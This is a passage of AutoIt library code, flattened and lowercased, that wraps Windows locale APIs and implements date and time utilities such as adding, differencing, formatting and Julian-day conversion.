DllStructSetData($tfmt, 3, $igrouping) DllStructSetData($tfmt, 4, DllStructGetPtr($tfmt, 7)) DllStructSetData($tfmt, 5, DllStructGetPtr($tfmt, 8)) DllStructSetData($tfmt, 6, $inegativeorder) DllStructSetData($tfmt, 7, $sdecimalsep) DllStructSetData($tfmt, 8, $sthousandsep) Return $tfmt EndFunc Func _winapi_enumsystemgeoid() Local $henumproc = DllCallbackRegister("__EnumGeoIDProc", "bool", "long") Dim $__g_venum[101] = [0] Local $aret = DllCall("kernel32.dll", "bool", "EnumSystemGeoID", "dword", 16, "long", 0, "ptr", DllCallbackGetPtr($henumproc)) If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then $__g_venum = @error + 10 EndIf DllCallbackFree($henumproc) If $__g_venum Then Return SetError($__g_venum, 0, 0) __inc($__g_venum, -1) Return $__g_venum EndFunc Func _winapi_enumsystemlocales($iflag) Local $henumproc = DllCallbackRegister("__EnumLocalesProc", "bool", "ptr") Dim $__g_venum[101] = [0] Local $aret = DllCall("kernel32.dll", "bool", "EnumSystemLocalesW", "ptr", DllCallbackGetPtr($henumproc), "dword", $iflag) If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then $__g_venum = @error + 10 EndIf DllCallbackFree($henumproc) If $__g_venum Then Return SetError($__g_venum, 0, 0) __inc($__g_venum, -1) Return $__g_venum EndFunc Func _winapi_enumuilanguages($iflag = 0) Local $henumproc = DllCallbackRegister("__EnumUILanguagesProc", "bool", "ptr;long_ptr") Local $iid = 1 If $__winver >= 1536 Then If BitAND($iflag, 8) Then $iid = 0 EndIf Else $iflag = 0 EndIf Dim $__g_venum[101] = [0] Local $aret = DllCall("kernel32.dll", "bool", "EnumUILanguagesW", "ptr", DllCallbackGetPtr($henumproc), "dword", $iflag, "long_ptr", $iid) If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then $__g_venum = @error + 10 EndIf DllCallbackFree($henumproc) If $__g_venum Then Return SetError($__g_venum, 0, 0) __inc($__g_venum, -1) Return $__g_venum EndFunc Func _winapi_getdateformat($ilcid = 0, $tsystemtime = 0, $iflags = 0, $sformat = "") If NOT $ilcid Then $ilcid = 1024 Local $stypeofformat = "wstr" If NOT StringStripWS($sformat, $str_stripleading + $str_striptrailing) Then $stypeofformat = "ptr" $sformat = 0 EndIf Local $aret = DllCall("kernel32.dll", "int", "GetDateFormatW", "dword", $ilcid, "dword", $iflags, "struct*", $tsystemtime, $stypeofformat, $sformat, "wstr", "", "int", 2048) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[5] EndFunc Func _winapi_getdurationformat($ilcid, $iduration, $sformat = "") If NOT $ilcid Then $ilcid = 1024 Local $pst, $ival If IsDllStruct($iduration) Then $pst = DllStructGetPtr($iduration) $ival = 0 Else $pst = 0 $ival = $iduration EndIf Local $stypeofformat = "wstr" If NOT StringStripWS($sformat, $str_stripleading + $str_striptrailing) Then $stypeofformat = "ptr" $sformat = 0 EndIf Local $aret = DllCall("kernel32.dll", "int", "GetDurationFormat", "dword", $ilcid, "dword", 0, "ptr", $pst, "uint64", $ival, $stypeofformat, $sformat, "wstr", "", "int", 2048) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[6] EndFunc Func _winapi_getgeoinfo($igeoid, $itype, $ilanguage = 0) Local $aret = DllCall("kernel32.dll", "int", "GetGeoInfoW", "long", $igeoid, "dword", $itype, "wstr", "", "int", 4096, "word", $ilanguage) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return $aret[3] EndFunc Func _winapi_getlocaleinfo($ilcid, $itype) Local $aret = DllCall("kernel32.dll", "int", "GetLocaleInfoW", "dword", $ilcid, "dword", $itype, "wstr", "", "int", 2048) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[3] EndFunc Func _winapi_getnumberformat($ilcid, $snumber, $tnumberfmt = 0) If NOT $ilcid Then $ilcid = 1024 Local $aret = DllCall("kernel32.dll", "int", "GetNumberFormatW", "dword", $ilcid, "dword", 0, "wstr", $snumber, "struct*", $tnumberfmt, "wstr", "", "int", 2048) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[5] EndFunc Func _winapi_getsystemdefaultlangid() Local $aret = DllCall("kernel32.dll", "word", "GetSystemDefaultLangID") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getsystemdefaultlcid() Local $aret = DllCall("kernel32.dll", "dword", "GetSystemDefaultLCID") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getsystemdefaultuilanguage() Local $aret = DllCall("kernel32.dll", "word", "GetSystemDefaultUILanguage") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getthreadlocale() Local $aret = DllCall("kernel32.dll", "dword", "GetThreadLocale") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getthreaduilanguage() Local $aret = DllCall("kernel32.dll", "word", "GetThreadUILanguage") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_gettimeformat($ilcid = 0, $tsystemtime = 0, $iflags = 0, $sformat = "") If NOT $ilcid Then $ilcid = 1024 Local $stypeofformat = "wstr" If NOT StringStripWS($sformat, $str_stripleading + $str_striptrailing) Then $stypeofformat = "ptr" $sformat = 0 EndIf Local $aret = DllCall("kernel32.dll", "int", "GetTimeFormatW", "dword", $ilcid, "dword", $iflags, "struct*", $tsystemtime, $stypeofformat, $sformat, "wstr", "", "int", 2048) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[5] EndFunc Func _winapi_getuserdefaultlangid() Local $aret = DllCall("kernel32.dll", "word", "GetUserDefaultLangID") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getuserdefaultlcid() Local $aret = DllCall("kernel32.dll", "dword", "GetUserDefaultLCID") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getuserdefaultuilanguage() Local $aret = DllCall("kernel32.dll", "word", "GetUserDefaultUILanguage") If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getusergeoid() Local $aret = DllCall("kernel32.dll", "long", "GetUserGeoID", "uint", 16) If @error Then Return SetError(@error, @extended, -1) Return $aret[0] EndFunc Func _winapi_isvalidlocale($ilcid, $iflag = 0) Local $aret = DllCall("kernel32.dll", "bool", "IsValidLocale", "dword", $ilcid, "dword", $iflag) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setlocaleinfo($ilcid, $itype, $sdata) Local $aret = DllCall("kernel32.dll", "bool", "SetLocaleInfoW", "dword", $ilcid, "dword", $itype, "wstr", $sdata) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setthreadlocale($ilcid) Local $aret = DllCall("kernel32.dll", "bool", "SetThreadLocale", "dword", $ilcid) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setthreaduilanguage($ilanguage) Local $aret = DllCall("kernel32.dll", "word", "SetThreadUILanguage", "word", $ilanguage) If @error Then Return SetError(@error, @extended, False) Return ($aret[0] = $aret[1]) EndFunc Func _winapi_setusergeoid($igeoid) Local $aret = DllCall("kernel32.dll", "bool", "SetUserGeoID", "long", $igeoid) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc #EndRegion Public Functions #Region Internal Functions Func __enumgeoidproc($iid) __inc($__g_venum) $__g_venum[$__g_venum[0]] = $iid Return 1 EndFunc Func __enumlocalesproc($plocale) __inc($__g_venum) $__g_venum[$__g_venum[0]] = Dec(DllStructGetData(DllStructCreate("wchar[" & (_winapi_strlen($plocale) + 1) & "]", $plocale), 1)) Return 1 EndFunc Func __enumuilanguagesproc($planguage, $iid) __inc($__g_venum) $__g_venum[$__g_venum[0]] = DllStructGetData(DllStructCreate("wchar[" & (_winapi_strlen($planguage) + 1) & "]", $planguage), 1) If $iid Then $__g_venum[$__g_venum[0]] = Dec($__g_venum[$__g_venum[0]]) EndIf Return 1 EndFunc #EndRegion Internal Functions Func _dateadd($stype, $inumber, $sdate) Local $astimepart[4] Local $asdatepart[4] Local $ijuliandate $stype = StringLeft($stype, 1) If StringInStr("D,M,Y,w,h,n,s", $stype) = 0 OR $stype = "" Then Return SetError(1, 0, 0) EndIf If NOT StringIsInt($inumber) Then Return SetError(2, 0, 0) EndIf If NOT _dateisvalid($sdate) Then Return SetError(3, 0, 0) EndIf _datetimesplit($sdate, $asdatepart, $astimepart) If $stype = "d" OR $stype = "w" Then If $stype = "w" Then $inumber = $inumber * 7 $ijuliandate = _datetodayvalue($asdatepart[1], $asdatepart[2], $asdatepart[3]) + $inumber _dayvaluetodate($ijuliandate, $asdatepart[1], $asdatepart[2], $asdatepart[3]) EndIf If $stype = "m" Then $asdatepart[2] = $asdatepart[2] + $inumber While $asdatepart[2] > 12 $asdatepart[2] = $asdatepart[2] - 12 $asdatepart[1] = $asdatepart[1] + 1 WEnd While $asdatepart[2] < 1 $asdatepart[2] = $asdatepart[2] + 12 $asdatepart[1] = $asdatepart[1] - 1 WEnd EndIf If $stype = "y" Then $asdatepart[1] = $asdatepart[1] + $inumber EndIf If $stype = "h" OR $stype = "n" OR $stype = "s" Then Local $itimeval = _timetoticks($astimepart[1], $astimepart[2], $astimepart[3]) / 1000 If $stype = "h" Then $itimeval = $itimeval + $inumber * 3600 If $stype = "n" Then $itimeval = $itimeval + $inumber * 60 If $stype = "s" Then $itimeval = $itimeval + $inumber Local $iday2add = Int($itimeval / (24 * 60 * 60)) $itimeval = $itimeval - $iday2add * 24 * 60 * 60 If $itimeval < 0 Then $iday2add = $iday2add - 1 $itimeval = $itimeval + 24 * 60 * 60 EndIf $ijuliandate = _datetodayvalue($asdatepart[1], $asdatepart[2], $asdatepart[3]) + $iday2add _dayvaluetodate($ijuliandate, $asdatepart[1], $asdatepart[2], $asdatepart[3]) _tickstotime($itimeval * 1000, $astimepart[1], $astimepart[2], $astimepart[3]) EndIf Local $inumdays = _daysinmonth($asdatepart[1]) If $inumdays[$asdatepart[2]] < $asdatepart[3] Then $asdatepart[3] = $inumdays[$asdatepart[2]] $sdate = $asdatepart[1] & "/" & StringRight("0" & $asdatepart[2], 2) & "/" & StringRight("0" & $asdatepart[3], 2) If $astimepart[0] > 0 Then If $astimepart[0] > 2 Then $sdate = $sdate & " " & StringRight("0" & $astimepart[1], 2) & ":" & StringRight("0" & $astimepart[2], 2) & ":" & StringRight("0" & $astimepart[3], 2) Else $sdate = $sdate & " " & StringRight("0" & $astimepart[1], 2) & ":" & StringRight("0" & $astimepart[2], 2) EndIf EndIf Return $sdate EndFunc Func _datedayofweek($idaynum, $iformat = Default) Local Const $monday_is_no1 = 128 If $iformat = Default Then $iformat = 0 $idaynum = Int($idaynum) If $idaynum < 1 OR $idaynum > 7 Then Return SetError(1, 0, "") Local $tsystemtime = DllStructCreate($tagsystemtime) DllStructSetData($tsystemtime, "Year", BitAND($iformat, $monday_is_no1) ? 2007 : 2006) DllStructSetData($tsystemtime, "Month", 1) DllStructSetData($tsystemtime, "Day", $idaynum) Return _winapi_getdateformat(BitAND($iformat, $dmw_locale_longname) ? $locale_user_default : $locale_invariant, $tsystemtime, 0, BitAND($iformat, $dmw_shortname) ? "ddd" : "dddd") EndFunc Func _datedaysinmonth($iyear, $imonthnum) $imonthnum = Int($imonthnum) $iyear = Int($iyear) Return __dateismonth($imonthnum) AND __dateisyear($iyear) ? _daysinmonth($iyear)[$imonthnum] : SetError(1, 0, 0) EndFunc Func _datediff($stype, $sstartdate, $senddate) $stype = StringLeft($stype, 1) If StringInStr("d,m,y,w,h,n,s", $stype) = 0 OR $stype = "" Then Return SetError(1, 0, 0) EndIf If NOT _dateisvalid($sstartdate) Then Return SetError(2, 0, 0) EndIf If NOT _dateisvalid($senddate) Then Return SetError(3, 0, 0) EndIf Local $asstartdatepart[4], $asstarttimepart[4], $asenddatepart[4], $asendtimepart[4] _datetimesplit($sstartdate, $asstartdatepart, $asstarttimepart) _datetimesplit($senddate, $asenddatepart, $asendtimepart) Local $adaysdiff = _datetodayvalue($asenddatepart[1], $asenddatepart[2], $asenddatepart[3]) - _datetodayvalue($asstartdatepart[1], $asstartdatepart[2], $asstartdatepart[3]) Local $itimediff, $iyeardiff, $istarttimeinsecs, $iendtimeinsecs If $asstarttimepart[0] > 1 AND $asendtimepart[0] > 1 Then $istarttimeinsecs = $asstarttimepart[1] * 3600 + $asstarttimepart[2] * 60 + $asstarttimepart[3] $iendtimeinsecs = $asendtimepart[1] * 3600 + $asendtimepart[2] * 60 + $asendtimepart[3] $itimediff = $iendtimeinsecs - $istarttimeinsecs If $itimediff < 0 Then $adaysdiff = $adaysdiff - 1 $itimediff = $itimediff + 24 * 60 * 60 EndIf Else $itimediff = 0 EndIf Select Case $stype = "d" Return $adaysdiff Case $stype = "m" $iyeardiff = $asenddatepart[1] - $asstartdatepart[1] Local $imonthdiff = $asenddatepart[2] - $asstartdatepart[2] + $iyeardiff * 12 If $asenddatepart[3] < $asstartdatepart[3] Then $imonthdiff = $imonthdiff - 1 $istarttimeinsecs = $asstarttimepart[1] * 3600 + $asstarttimepart[2] * 60 + $asstarttimepart[3] $iendtimeinsecs = $asendtimepart[1] * 3600 + $asendtimepart[2] * 60 + $asendtimepart[3] $itimediff = $iendtimeinsecs - $istarttimeinsecs If $asenddatepart[3] = $asstartdatepart[3] AND $itimediff < 0 Then $imonthdiff = $imonthdiff - 1 Return $imonthdiff Case $stype = "y" $iyeardiff = $asenddatepart[1] - $asstartdatepart[1] If $asenddatepart[2] < $asstartdatepart[2] Then $iyeardiff = $iyeardiff - 1 If $asenddatepart[2] = $asstartdatepart[2] AND $asenddatepart[3] < $asstartdatepart[3] Then $iyeardiff = $iyeardiff - 1 $istarttimeinsecs = $asstarttimepart[1] * 3600 + $asstarttimepart[2] * 60 + $asstarttimepart[3] $iendtimeinsecs = $asendtimepart[1] * 3600 + $asendtimepart[2] * 60 + $asendtimepart[3] $itimediff = $iendtimeinsecs - $istarttimeinsecs If $asenddatepart[2] = $asstartdatepart[2] AND $asenddatepart[3] = $asstartdatepart[3] AND $itimediff < 0 Then $iyeardiff = $iyeardiff - 1 Return $iyeardiff Case $stype = "w" Return Int($adaysdiff / 7) Case $stype = "h" Return $adaysdiff * 24 + Int($itimediff / 3600) Case $stype = "n" Return $adaysdiff * 24 * 60 + Int($itimediff / 60) Case $stype = "s" Return $adaysdiff * 24 * 60 * 60 + $itimediff EndSelect EndFunc Func _dateisleapyear($iyear) If StringIsInt($iyear) Then Select Case Mod($iyear, 4) = 0 AND Mod($iyear, 100) <> 0 Return 1 Case Mod($iyear, 400) = 0 Return 1 Case Else Return 0 EndSelect EndIf Return SetError(1, 0, 0) EndFunc Func __dateismonth($inumber) $inumber = Int($inumber) Return $inumber >= 1 AND $inumber <= 12 EndFunc Func _dateisvalid($sdate) Local $asdatepart[4], $astimepart[4] _datetimesplit($sdate, $asdatepart, $astimepart) If NOT StringIsInt($asdatepart[1]) Then Return 0 If NOT StringIsInt($asdatepart[2]) Then Return 0 If NOT StringIsInt($asdatepart[3]) Then Return 0 $asdatepart[1] = Int($asdatepart[1]) $asdatepart[2] = Int($asdatepart[2]) $asdatepart[3] = Int($asdatepart[3]) Local $inumdays = _daysinmonth($asdatepart[1]) If $asdatepart[1] < 1000 OR $asdatepart[1] > 2999 Then Return 0 If $asdatepart[2] < 1 OR $asdatepart[2] > 12 Then Return 0 If $asdatepart[3] < 1 OR $asdatepart[3] > $inumdays[$asdatepart[2]] Then Return 0 If $astimepart[0] < 1 Then Return 1 If $astimepart[0] < 2 Then Return 0 If $astimepart[0] = 2 Then $astimepart[3] = "00" If NOT StringIsInt($astimepart[1]) Then Return 0 If NOT StringIsInt($astimepart[2]) Then Return 0 If NOT StringIsInt($astimepart[3]) Then Return 0 $astimepart[1] = Int($astimepart[1]) $astimepart[2] = Int($astimepart[2]) $astimepart[3] = Int($astimepart[3]) If $astimepart[1] < 0 OR $astimepart[1] > 23 Then Return 0 If $astimepart[2] < 0 OR $astimepart[2] > 59 Then Return 0 If $astimepart[3] < 0 OR $astimepart[3] > 59 Then Return 0 Return 1 EndFunc Func __dateisyear($inumber) Return StringLen($inumber) = 4 EndFunc Func _datelastweekdaynum($iweekdaynum) Select Case NOT StringIsInt($iweekdaynum) Return SetError(1, 0, 0) Case $iweekdaynum < 1 OR $iweekdaynum > 7 Return SetError(2, 0, 0) Case Else Local $ilastweekdaynum If $iweekdaynum = 1 Then $ilastweekdaynum = 7 Else $ilastweekdaynum = $iweekdaynum - 1 EndIf Return $ilastweekdaynum EndSelect EndFunc Func _datelastmonthnum($imonthnum) Select Case NOT StringIsInt($imonthnum) Return SetError(1, 0, 0) Case NOT __dateismonth($imonthnum) Return SetError(2, 0, 0) Case Else Local $ilastmonthnum If $imonthnum = 1 Then $ilastmonthnum = 12 Else $ilastmonthnum = $imonthnum - 1 EndIf $ilastmonthnum = StringFormat("%02d", $ilastmonthnum) Return $ilastmonthnum EndSelect EndFunc Func _datelastmonthyear($imonthnum, $iyear) Select Case NOT StringIsInt($imonthnum) OR NOT StringIsInt($iyear) Return SetError(1, 0, 0) Case NOT __dateismonth($imonthnum) Return SetError(2, 0, 0) Case Else Local $ilastyear If $imonthnum = 1 Then $ilastyear = $iyear - 1 Else $ilastyear = $iyear EndIf $ilastyear = StringFormat("%04d", $ilastyear) Return $ilastyear EndSelect EndFunc Func _datenextweekdaynum($iweekdaynum) Select Case NOT StringIsInt($iweekdaynum) Return SetError(1, 0, 0) Case $iweekdaynum < 1 OR $iweekdaynum > 7 Return SetError(2, 0, 0) Case Else Local $inextweekdaynum If $iweekdaynum = 7 Then $inextweekdaynum = 1 Else $inextweekdaynum = $iweekdaynum + 1 EndIf Return $inextweekdaynum EndSelect EndFunc Func _datenextmonthnum($imonthnum) Select Case NOT StringIsInt($imonthnum) Return SetError(1, 0, 0) Case NOT __dateismonth($imonthnum) Return SetError(2, 0, 0) Case Else Local $inextmonthnum If $imonthnum = 12 Then $inextmonthnum = 1 Else $inextmonthnum = $imonthnum + 1 EndIf $inextmonthnum = StringFormat("%02d", $inextmonthnum) Return $inextmonthnum EndSelect EndFunc Func _datenextmonthyear($imonthnum, $iyear) Select Case NOT StringIsInt($imonthnum) OR NOT StringIsInt($iyear) Return SetError(1, 0, 0) Case NOT __dateismonth($imonthnum) Return SetError(2, 0, 0) Case Else Local $inextyear If $imonthnum = 12 Then $inextyear = $iyear + 1 Else $inextyear = $iyear EndIf $inextyear = StringFormat("%04d", $inextyear) Return $inextyear EndSelect EndFunc Func _datetimeformat($sdate, $stype) Local $asdatepart[4], $astimepart[4] Local $stempdate = "", $stemptime = "" Local $sam, $spm, $stempstring = "" If NOT _dateisvalid($sdate) Then Return SetError(1, 0, "") EndIf If $stype < 0 OR $stype > 5 OR NOT IsInt($stype) Then Return SetError(2, 0, "") EndIf _datetimesplit($sdate, $asdatepart, $astimepart) Switch $stype Case 0 $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_sshortdate) If NOT @error AND NOT ($stempstring = "") Then $stempdate = $stempstring Else $stempdate = "M/d/yyyy" EndIf If $astimepart[0] > 1 Then $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_stimeformat) If NOT @error AND NOT ($stempstring = "") Then $stemptime = $stempstring Else $stemptime = "h:mm:ss tt" EndIf EndIf Case 1 $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_slongdate) If NOT @error AND NOT ($stempstring = "") Then $stempdate = $stempstring Else $stempdate = "dddd, MMMM dd, yyyy" EndIf Case 2 $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_sshortdate) If NOT @error AND NOT ($stempstring = "") Then $stempdate = $stempstring Else $stempdate = "M/d/yyyy" EndIf Case 3 If $astimepart[0] > 1 Then $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_stimeformat) If NOT @error AND NOT ($stempstring = "") Then $stemptime = $stempstring Else $stemptime = "h:mm:ss tt" EndIf EndIf Case 4 If $astimepart[0] > 1 Then $stemptime = "hh:mm" EndIf Case 5 If $astimepart[0] > 1 Then $stemptime = "hh:mm:ss" EndIf EndSwitch If $stempdate <> "" Then $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_sdate) If NOT @error AND NOT ($stempstring = "") Then $stempdate = StringReplace($stempdate, "/", $stempstring) EndIf Local $iwday = _datetodayofweek($asdatepart[1], $asdatepart[2], $asdatepart[3]) $asdatepart[3] = StringRight("0" & $asdatepart[3], 2) $asdatepart[2] = StringRight("0" & $asdatepart[2], 2) $stempdate = StringReplace($stempdate, "d", "@") $stempdate = StringReplace($stempdate, "m", "#") $stempdate = StringReplace($stempdate, "y", "&") $stempdate = StringReplace($stempdate, "@@@@", _datedayofweek($iwday, 0)) $stempdate = StringReplace($stempdate, "@@@", _datedayofweek($iwday, 1)) $stempdate = StringReplace($stempdate, "@@", $asdatepart[3]) $stempdate = StringReplace($stempdate, "@", StringReplace(StringLeft($asdatepart[3], 1), "0", "") & StringRight($asdatepart[3], 1)) $stempdate = StringReplace($stempdate, "####", _datetomonth($asdatepart[2], 0)) $stempdate = StringReplace($stempdate, "###", _datetomonth($asdatepart[2], 1)) $stempdate = StringReplace($stempdate, "##", $asdatepart[2]) $stempdate = StringReplace($stempdate, "#", StringReplace(StringLeft($asdatepart[2], 1), "0", "") & StringRight($asdatepart[2], 1)) $stempdate = StringReplace($stempdate, "&&&&", $asdatepart[1]) $stempdate = StringReplace($stempdate, "&&", StringRight($asdatepart[1], 2)) EndIf If $stemptime <> "" Then $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_s1159) If NOT @error AND NOT ($stempstring = "") Then $sam = $stempstring Else $sam = "AM" EndIf $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_s2359) If NOT @error AND NOT ($stempstring = "") Then $spm = $stempstring Else $spm = "PM" EndIf $stempstring = _winapi_getlocaleinfo($locale_user_default, $locale_stime) If NOT @error AND NOT ($stempstring = "") Then $stemptime = StringReplace($stemptime, ":", $stempstring) EndIf If StringInStr($stemptime, "tt") Then If $astimepart[1] < 12 Then $stemptime = StringReplace($stemptime, "tt", $sam) If $astimepart[1] = 0 Then $astimepart[1] = 12 Else $stemptime = StringReplace($stemptime, "tt", $spm) If $astimepart[1] > 12 Then $astimepart[1] = $astimepart[1] - 12 EndIf EndIf $astimepart[1] = StringRight("0" & $astimepart[1], 2) $astimepart[2] = StringRight("0" & $astimepart[2], 2) $astimepart[3] = StringRight("0" & $astimepart[3], 2) $stemptime = StringReplace($stemptime, "hh", StringFormat("%02d", $astimepart[1])) $stemptime = StringReplace($stemptime, "h", StringReplace(StringLeft($astimepart[1], 1), "0", "") & StringRight($astimepart[1], 1)) $stemptime = StringReplace($stemptime, "mm", StringFormat("%02d", $astimepart[2])) $stemptime = StringReplace($stemptime, "ss", StringFormat("%02d", $astimepart[3])) $stempdate = StringStripWS($stempdate & " " & $stemptime, $str_stripleading + $str_striptrailing) EndIf Return $stempdate EndFunc Func _datetimesplit($sdate, ByRef $adatepart, ByRef $itimepart) Local $sdatetime = StringSplit($sdate, " T") If $sdatetime[0] > 0 Then $adatepart = StringSplit($sdatetime[1], "/-.") If $sdatetime[0] > 1 Then $itimepart = StringSplit($sdatetime[2], ":") If UBound($itimepart) < 4 Then ReDim $itimepart[4] Else Dim $itimepart[4] EndIf If UBound($adatepart) < 4 Then ReDim $adatepart[4] For $x = 1 To 3 If StringIsInt($adatepart[$x]) Then $adatepart[$x] = Int($adatepart[$x]) Else $adatepart[$x] = -1 EndIf If StringIsInt($itimepart[$x]) Then $itimepart[$x] = Int($itimepart[$x]) Else $itimepart[$x] = 0 EndIf Next Return 1 EndFunc Func _datetodayofweek($iyear, $imonth, $iday) If NOT _dateisvalid($iyear & "/" & $imonth & "/" & $iday) Then Return SetError(1, 0, "") EndIf Local $i_factora = Int((14 - $imonth) / 12) Local $i_factory = $iyear - $i_factora Local $i_factorm = $imonth + (12 * $i_factora) - 2 Local $i_factord = Mod($iday + $i_factory + Int($i_factory / 4) - Int($i_factory / 100) + Int($i_factory / 400) + Int((31 * $i_factorm) / 12), 7) Return $i_factord + 1 EndFunc Func _datetodayofweekiso($iyear, $imonth, $iday) Local $idow = _datetodayofweek($iyear, $imonth, $iday) If @error Then Return SetError(1, 0, "") EndIf If $idow >= 2 Then Return $idow - 1 Return 7 EndFunc Func _datetodayvalue($iyear, $imonth, $iday) If NOT _dateisvalid(StringFormat("%04d/%02d/%02d", $iyear, $imonth, $iday)) Then Return SetError(1, 0, "") EndIf If $imonth < 3 Then $imonth = $imonth + 12 $iyear = $iyear - 1 EndIf Local $i_factora = Int($iyear / 100) Local $i_factorb = Int($i_factora / 4) Local $i_factorc = 2 - $i_factora + $i_factorb Local $i_factore = Int(1461 * ($iyear + 4716) / 4) Local $i_factorf = Int(153 * ($imonth + 1) / 5) Local $ijuliandate = $i_factorc + $iday + $i_factore + $i_factorf - 1524.5 Return $ijuliandate EndFunc Func _datetomonth($imonnum, $iformat = Default) If $iformat = Default Then $iformat = 0 $imonnum = Int($imonnum) If NOT __dateismonth($imonnum) Then Return SetError(1, 0, "") Local $tsystemtime = DllStructCreate($tagsystemtime) DllStructSetData($tsystemtime, "Year", @YEAR) DllStructSetData($tsystemtime, "Month", $imonnum) DllStructSetData($tsystemtime, "Day", 1) Return _winapi_getdateformat(BitAND($iformat, $dmw_locale_longname) ? $locale_user_default : $locale_invariant, $tsystemtime, 0, BitAND($iformat, $dmw_shortname) ? "MMM" : "MMMM") EndFunc Func _dayvaluetodate($ijuliandate, ByRef $iyear, ByRef $imonth, ByRef $iday) If $ijuliandate < 0 OR NOT IsNumber($ijuliandate) Then Return SetError(1, 0, 0) EndIf Local $i_factorz = Int($ijuliandate + 0.5) Local $i_factorw = Int(($i_factorz - 1867216.25) / 36524.25) Local $i_factorx = Int($i_factorw / 4) Local $i_factora = $i_factorz + 1 + $i_factorw - $i_factorx Local $i_factorb = $i_factora + 1524 Local $i_factorc = Int(($i_factorb - 122.1) / 365.25) Local $i_factord = Int(365.25 * $i_factorc) Local $i_factore = Int(($i_factorb - $i_factord) / 30.6001) Local $i_factorf = Int(30.6001 * $i_factore) $iday = $i_factorb - $i_factord - $i_factorf If $i_factore - 1 < 13 Then $imonth = $i_factore - 1 Else $imonth = $i_factore - 13 EndIf If $imonth < 3 Then $iyear = $i_factorc - 4715 Else $iyear = $i_factorc - 4716 EndIf $iyear = StringFormat("%04d", $iyear) $imonth = StringFormat("%02d", $imonth) $iday = StringFormat("%02d", $iday) Return $iyear & "/" & $imonth & "/" & $iday EndFunc Func _date_juliandayno($iyear, $imonth, $iday) Local $sfulldate = StringFormat("%04d/%02d/%02d", $iyear, $imonth, $iday) If NOT _dateisvalid($sfulldate) Then Return SetError(1, 0, "") EndIf Local $ijday = 0 Local $aidaysinmonth = _daysinmonth($iyear) For $icntr = 1 To $imonth - 1 $ijday = $ijday + $aidaysinmonth[$icntr] Next $ijday = ($iyear * 1000) + ($ijday + $iday) Return $ijday EndFunc Func _juliantodate($ijday, $ssep = "/") Local $iyear = Int($ijday / 1000) Local $idays = Mod($ijday, 1000) Local $imaxdays = 365 If _dateisleapyear($iyear) Then $imaxdays = 366 If $idays > $imaxdays Then Return SetError(1, 0, "") EndIf Local $aidaysinmonth = _daysinmonth($iyear) Local $imonth = 1 While $idays > $aidaysinmonth[$imonth] $idays = $idays - $aidaysinmonth[$imonth] $imonth = $imonth + 1 WEnd Return StringFormat("%04d%s%02d%s%02d", $iyear, $ssep, $imonth, $ssep, $idays) EndFunc Func _now() Return _datetimeformat(@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC, 0) EndFunc Func _nowcalc() Return @YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC EndFunc Func _nowcalcdate() Return @YEAR & "/" & @MON & "/" & @MDAY EndFunc Func _nowdate() Return _datetimeformat(@YEAR & "/" & @MON & "/" & @MDAY, 0) EndFunc Func _nowtime($stype = 3) If $stype < 3 OR $stype > 5 Then $stype = 3 Return _datetimeformat(@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC, $stype) EndFunc Func _setdate($iday, $imonth = 0, $iyear = 0) If $iyear = 0 Then $iyear = @YEAR If $imonth = 0 Then $imonth = @MON If NOT _dateisvalid($iyear & "/" & $imonth & "/" & $iday) Then Return 1 Local $tsystemtime = DllStructCreate($tagsystemtime) DllCall("kernel32.dll", "none", "GetLocalTime", "struct*", $tsystemtime) If @error Then Return SetError(@error, @extended, 0) DllStructSetData($tsystemtime, "Day", $iday) If $imonth > 0 Then DllStructSetData($tsystemtime, "Month", $imonth) If $iyear > 0 Then DllStructSetData($tsystemtime, "Year", $iyear) Local $ireturn = _date_time_setlocaltime($tsystemtime) If @error Then Return SetError(@error + 10, @extended, 0) Return Int($ireturn) EndFunc Func _settime($ihour, $iminute, $isecond = 0, $imseconds = 0) If $ihour < 0 OR $ihour > 23 Then Return 1 If $iminute < 0 OR $iminute > 59 Then Return 1 If $isecond < 0 OR $isecond > 59 Then Return 1 If $imseconds < 0 OR $imseconds > 999 Then Return 1 Local $tsystemtime = DllStructCreate($tagsystemtime) DllCall("kernel32.dll", "none", "GetLocalTime", "struct*", $tsystemtime) If @error Then Return SetError(@error, @extended, 0) DllStructSetData($tsystemtime, "Hour", $ihour) DllStructSetData($tsystemtime, "Minute", $iminute) If $isecond > 0 Then DllStructSetData($tsystemtime, "Seconds", $isecond) If $imseconds > 0 Then DllStructSetData($tsystemtime, "MSeconds", $imseconds) Local 